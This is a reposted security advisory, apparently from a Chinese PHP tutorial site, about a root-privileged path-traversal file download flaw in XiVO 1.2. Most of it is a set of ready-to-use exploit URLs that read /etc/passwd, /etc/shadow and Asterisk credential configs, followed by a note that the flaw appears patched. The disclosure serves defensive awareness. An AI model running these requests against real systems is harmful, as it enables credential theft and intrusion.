来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] Xivo 1.2 Arbitrary File Download under root privileges作者 : Mr.Un1k0d3r开发者: https://wiki.xivo.fr下载地址: https://wiki.xivo.fr/index.php/XiVO_1.1-Gallifrey/Install_XiVO_With_CD影响版......
|
Xivo 1.2 Arbitrary File Download under root privileges
作者 : Mr.Un1k0d3r
开发者: https://wiki.xivo.fr
下载地址: https://wiki.xivo.fr/index.php/XiVO_1.1-Gallifrey/Install_XiVO_With_CD
影响版本: 1.2 (last patched version)
测试版本: Linux xivo 2.6.32-5-486
测试利用:
Using the web interface you can download any file from the system. The web application is running under root privileges.
You can download clear text password, /etc/passwd, /etc/shadow and many more...
利用方法:
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/passwd
https:// www.2cto.com /xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/shadow
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/manager.conf
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/cel_pgsql.conf
缺陷发现者 Mr.Un1k0d3r From RingZer0 Team.
注释:
This appears to have been fixed
https://projects.xivo.fr/issues/3912
http://git.xivo.fr/?p=official/xivo-skaro.git;a=commit;h=127ab43e6d8e8ed94f16ff388fb62fd611a40e19
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
